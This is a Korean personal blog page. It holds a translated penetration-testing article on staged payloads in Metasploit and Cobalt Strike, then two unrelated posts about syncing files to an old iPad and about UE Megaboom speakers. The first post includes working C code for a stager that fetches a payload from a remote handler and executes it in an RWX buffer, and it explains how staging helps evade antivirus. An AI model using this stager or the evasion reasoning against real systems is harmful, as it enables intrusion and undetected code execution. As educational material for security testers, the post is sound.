2020년 4월 26일 일요일

스테이지된 페이로드

원문: https://blog.cobaltstrike.com/2013/06/28/staged-payloads-what-pen-testers-should-know/

스테이지된 페이로드(Staged Payloads) - 침투 테스터가 알아야 할 것

메타스플로잇 프레임워크는 익스플로잇과 페이로드(익스플로잇 성공 후 실행되는 것)를 디커플링한다. 또한 메타스플로잇 프레임워크는 스테이저(stager)와 스테이지(stage)의 두 부분으로 나뉜다. 스테이저는 큰 페이로드(스테이지)를 다운로드하고, 그것을 메모리에 주입하고, 실행을 전달한다.

그림. 페이로드 스테이징 과정

스테이징은 필요에 의해 생겨났다. 많은 익스플로잇 상황은 공격자가 얼마나 많은 바이트를 변경 없이 메모리의 한 위치에 로딩할 수 있는지에 제약을 받는다. 이러한 상황에서 흥미로운 포스트 익스플로잇을 하는 한 가지 방법은 페이로드를 여러 단계(스테이지)에 걸쳐 전달하는 것이다.

스테이저는 어셈블리 언어로 작성되어 수작업으로 최적화되는 것이 일반적이다. 공격자는 스테이저를 가능한 한 작게 만들려고 한다. 스테이저가 작으면 공격자는 많은 익스플로잇에 자유롭게 사용할 수 있다.

다음 코드는 C로 작성된 스테이저다. 버퍼를 할당하고, 스테이지를 다운로드하고, 그것에 제어를 전달한다. 나는 이 과정을 블로그에 설명했고, 전체 프로그램은 깃허브에 있다.

/* 핸들러에 연결 */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));
 
/* 4 바이트를 읽음 */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0)
    punt(my_socket, "read a strange or incomplete length value\n");

/* RWX 버퍼를 할당 */
buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (buffer == NULL)
    punt(my_socket, "could not allocate buffer\n");


/* SOCKET 값을 EDI 레지스터에 옮기기 위해 어셈블리를 prepend
   BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;
 
/* 소켓의 값을 버퍼에 복사 */
memcpy(buffer + 1, &my_socket, 4);
 
/* 바이트를 버퍼에 읽음 */
count = recv_all(my_socket, buffer + 5, size);
 
/* 버퍼를 함수로 변환해 호출 */
function = (void (*)())buffer;
function();

스테이징은 몇 개의 스테이저를 가지고 다양한 페이로드를 전달할 수 있게 해준다. 내가 스테이저와 호환되는 코드를 갖고 있으면, 나는 스테이저가 지원하는 코드를 전달할 수 있다(크기가 관건이다). 이러한 유연성 덕분에 비콘(Beacon) 같은 페이로드를 메타스플로잇 프레임워크에 맞춰 수정하지 않아도 된다.

스테이저에 의존하면 안티 바이러스 회피도 쉬워진다. 윈도우 미터프리터는 700KB이고 코발트 스트라이크(Cobalt Strike)의 비콘은 120KB다. 크기에 대한 제약이 없다고 가정할 때, 만약 내가 원하는 페이로드 그대로를 전달하기 위해 공격 패키지를 만들면 안티 바이러스 공급자에게 더 많은 단서를 제공해 그들이 시그니처를 작성할 수 있게 된다. 스테이저를 사용해 페이로드를 전달하면 나는 스테이저에 집중할 수 있고 공격 패키지는 안티 바이러스에 잡히지 않을 것이다. 스테이저가 잡히지 않는다면 스테이지도 아마 안전할 것이다.

이론적으로 스테이지 코드는 크기와 위치에 독립적이다. 현실에서는 메타스플로잇 프레임워크와 함께 사용되는 스테이지는 C로 작성된 DLL이다. 이 DLL들은 스테픈 퓨어(Stephen Fewer)가 작성한 반사 DLL 주입 라이브러리(Reflective DLL Injection library)를 가지고 컴파일된다. 이 라이브러리는 메모리로부터 프로세스에 라이브러리를 로드할 수 있다. 동작 원리에 대해서는 스테픈 퓨어가 쓴 반사 DLL 주입 문서(Reflective DLL Injection paper)를 참조하라.

(후략)

2020년 4월 25일 토요일

iPad 1세대 파일 동기화

2010년에 출시된 아이패드 1세대를 아직도 쓰고 있다. 유튜브도 안 되고, 어지간한 웹 사이트나 심지어 앱 스토어를 보는 중에도 다운되기 일쑤다. 팟캐스트는 약간 불편하긴 해도 PC에서 에피소드를 먼저 다운로드한 다음 아이튠즈를 통해 동기화하면 들을 수 있다.

실용적으로 가장 잘 사용하고 있는 앱은 굿리더(GoodReader)다. 유료로 구입한 걸로 기억하는데, 버전 업그레이드를 한 번인가 하고 나서는 iOS 버전 제한 때문에 더 이상 올리지 못했다. 번역 원고를 검토할 때 태블릿에서 보면 좀 더 독자의 입장을 느낄 수 있어서 좋다.

지금까지 PC에 있는 PDF 파일을 아이패드에 넣는 방법을 여러 가지로 시도했다.

1. 아이튠즈에서 동기화 - 수정할 때마다 동기화시키는 것이 번거롭다. 케이블을 꽂았다 뺐다 하기도 귀찮고(WiFi 동기화 기능은 꺼놨다).

2. 클라우드에서 동기화 - 아이패드의 iOS 버전이 낮아서인지 굿리더 버전이 낮아서인지 모르겠지만 제대로 동작하지 않는다.

3. PC에 FTP 서버를 띄우고 굿리더의 FTP 기능을 사용해 동기화 - 그나마 괜찮은 방법이긴 한데, 파일을 수정할 때마다 ftproot 디렉터리에 파일을 옮기는 것도 귀찮고(문서 전체를 FTP에 올리는 건 내키지 않는다), FTP 연결이 끊겨서 다시 시도해야 잘 된다. FTP 서버 설정을 바꿔봤지만 해결 못했다.

4. SMB 사용 - 굿리더가 SMB도 지원한다는 걸 여태 모르고 있다가 오늘에야 발견했다. 내 여건에는 이게 가장 나은 방법인 것 같다.

2020년 4월 24일 금요일

UE Megaboom

UE 메가붐(Megaboom) 블루투스 스피커를 두 대 갖고 있다. 원래 야외 활동을 하거나 파티를 할 때 쓰라고 만들어진 물건이지만, 요즘은 집에서 노트북에 연결해 음악을 듣거나 넷플릭스를 볼 때 사용한다.

인터페이스

메가붐은 기본적으로 블루투스 스피커이지만 3.5mm 입력 단자도 있다. 스마트폰에서는 전용 앱을 다운로드해 여러 기능을 사용할 수 있지만 윈도우용 앱은 없다. 그렇지만 윈도우에서도 블루투스로 연결할 수 있고, 전용 앱 없이도 두 대를 연결하는 방법이 있어 그렇게 사용해 보기도 했다. 정작 문제는 블루투스 연결을 했을 때 영상과 음성의 시차가 있어 영화를 보거나 게임을 할 때 불편하다는 것이다. 그래서 결국 3.5mm 단자 출력을 좌우로 나눠주는 Y자 케이블을 사서 연결했다.

음색

저음이 강조된 편이라 음악이나 영화 감상에 큰 불편은 없지만 유튜브에서 중년 남성이 대화하는 것은 너무 웅웅거려서 듣기 불편하다. 그래서 유튜브는 휴대폰이나 맥북에서 틀거나, 팟캐스트를 아이패드로 옮겨서 듣는다(1세대 아이패드는 유튜브 재생이 안 된다). 혹은 음성 출력을 노트북 내장 스피커로 전환해서 재생하기도 한다.

스탠드

3.5mm 음성 입력과 마이크로 USB 단자가 스피커 아래쪽에 있다보니, 처음에는 책상에 거꾸로 세워서 사용했다. 그런데 스피커를 분해한 영상을 보니 스피커 유닛이 위쪽에 있어, 뒤집어 놓는 것보다는 바로 두는 것이 나을 것이라는 생각이 들었다. 그래서 카메라용 미니 삼각대를 달아서 세웠다. 나사 구멍과 단자들이 너무 가까이 있어 삼각대 부착 부분이 아주 좁은 것을 골랐더니, 스피커 무게를 잘 못 견디는 문제가 있다.

배터리 문제

잘 쓰던 중에 별안간 전원 상태 LED가 빨간색으로 바뀌며 배터리 충전이 안 됐다고 하는데, 어댑터에 꽂아둬도 돌아오지 않았다(윈도우에 등록된 장치에서 제거한 것과 관련이 있는 것으로 의심된다). 몇 년 써서 배터리 수명이 다 됐나 싶어 AS 센터도 알아보고 배터리를 자가 교체하는 방법배터리 파는 곳도 알아뒀는데, 다행히 공장 초기화를 하니 증상이 사라졌다.